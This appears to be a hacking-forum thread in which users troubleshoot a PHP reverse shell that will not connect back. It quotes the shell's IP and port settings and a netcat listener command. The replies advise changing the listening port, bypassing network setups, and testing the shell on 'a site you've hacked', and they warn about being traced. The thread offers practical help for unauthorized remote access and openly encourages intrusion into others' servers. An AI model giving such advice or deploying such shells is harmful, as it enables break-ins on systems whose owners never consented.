It looks like you're new here. If you want to get involved, click one of these buttons!
$ip = '127.0.0.1'; // CHANGE THIS$port = 1234; // CHANGE THIS
$ nc -v -n -l -p 135
The shell won't work on hosting because it is designed to open a socket connection between the shell on the server (this means opening a port) and the netcat session. This is something most shared hosting actively blocks. You have pretty much no control over ports on shared web hosting only an ftp account.Those restrictions are put there for a purpose and risking trying to enable them just to check a shell isn't worth the effort. You'd be better finding a site you've hacked and trying it out live.EDIT: Out of that list the below are the ones that are used for socket programming:
I almost guarantee it's solely not working because of the port you chose. TCP: 135 is a Windows RPC port, and as far as I'm aware of it's usually listening by default.Change your port. It should work then. Also, don't be in a private network when using reverse shells. Port forwarding is retarded, and a waste of time.Simply plug your computer directly into your modem. Restart your modem, and refresh your IP-address in whatever OS you are using.Another thing to be cautious about when using reverse shells...you leave yourself wide open to being traced back. There's really very few things you can do for anonymity with reverse shells.But, to solve your initial problem...change your listening port.